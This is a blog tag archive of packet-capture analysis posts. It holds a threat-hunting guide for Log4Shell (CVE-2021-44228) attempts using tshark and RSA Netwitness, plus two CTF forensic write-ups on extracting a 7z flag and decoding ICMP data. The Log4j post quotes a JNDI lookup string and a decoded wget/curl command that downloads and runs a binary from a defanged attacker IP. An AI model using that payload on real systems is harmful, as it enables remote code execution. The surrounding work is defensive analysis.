Tag Archives: pcap

Hunting for Log4j RCE (CVE-2021-44228) using RSA Netwitness

So, if you read my previous article; Hunting for Log4j RCE (CVE-2021-44228) using Splunk & Excel, last time we leveraging Splunk as our platform to hunt event/logs related to this Log4J vulnerability.

This time, we’re using RSA Netwitness; which we going to hunt this Log4Shell attempt thru pcap.

If you never seen how’s the RSA Netwitness interface looks like, here are the screenshot of the tools:

After you have gathered the pcap, we can use tshark to extract relevant field/result that we want.

Tshark command and filters that we’ll using:

"C:\Program Files\Wireshark\tshark.exe" -r your_pcap.pcap -Y "ip contains Base64 && http.request && ip contains jndi" -T fields -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport -e http.request.method -e http.request.uri -e http.response.code -e http.user_agent -e http.referer -E header=y -E separator=; > out.txt

Example of the output:

ip.src	tcp.srcport	ip.dst	tcp.dstport	http.request.method	http.request.uri	http.response.code	http.user_agent	http.referer	37058	X.X.X.X	8080	GET	/		${jndi:ldap://}	

If we decoded the base64 above:

wget http://152[.]67[.]63[.]150/py; curl -O http://152[.]67[.]63[.]150/py; chmod 777 py; ./py rce.x86

Global Community CTF: Mini Bootup by SANS – NM01


We have captured a file being transferred over the network, can you take a look and see if you can find anything useful?


Hint: External tools like CyberChef can help decode the data.

Download & extract the file. You’ll see named “nm01.pcapng

Open the pcap file using Wireshark. Usually, I sort frame with large “Length” number and view the content.

On Frame 4 – right click – click “Follow” – click “TCP stream”

Todays file password is: SecurePa55word8!

hmm.. this “SecurePa55word8!” seems interesting. I tried to submit it as flag, but it says wrong..

So, I viewed another large frame, on Frame 26. I saw there’s string “7z“. I thought, it could be a 7z file. I took the hex number; “37 7a” & search on Google. Based on this site – https://www.filesignatures.net/index.php?page=search&search=377ABCAF271C&mode=SIG, it is confirm that this is indeed a 7z file.

notice the range that I highlighted.

So, on the same frame 26, right click and follow TCP stream. It will show you the stream/content of it. At bottom of the stream, on options “Show and save data as“, change it to “Raw”.

Click “Save as…” and save it as name you like – in this example, I’ll name it as “7out“.

When I open the file, there’s folder named “FLAG” and inside it contain file named “Flag.txt”. It’s password protected when we tried to view it.

got password?

So, maybe we can use the string/password that we discover earlier:

It works! The flag is “capturing_clouds_and_keys” .

Wargames 2017 – Challenge 9 : unreachable

The question is:

"The critical server seems unreachable. The sysadmin tries to identify the cause of it..but weird..he is doing it backwardly."
question for challenge 2
question for challenge 2

and the hint given to us:

hint for challenge 2
hint for challenge 2

so… RFC 792 – something related to ICMP/ping yada yada
so we open the pcap file in Wireshark, view only ICMP protocol:

open pcap using wireshark & then filter ICMP only

we can see ICMP traffic involving 2 IPs; &

after digging around, I find out there is some “unique differences” at ping identification number; offset 0010. this involving IP

lets use tshark to see it clearly:

tshark -r pcap1-100_1_copy.pcapng -x 'icmp and ip.src==' | grep 0010
use tshark & grep offset 0010

as noted in the hint above; “he is tracing backwardly.”

so the flag is: flag_is_p!ngp0ng~
but actually…. the flag is: p!ngp0ng~ =.=’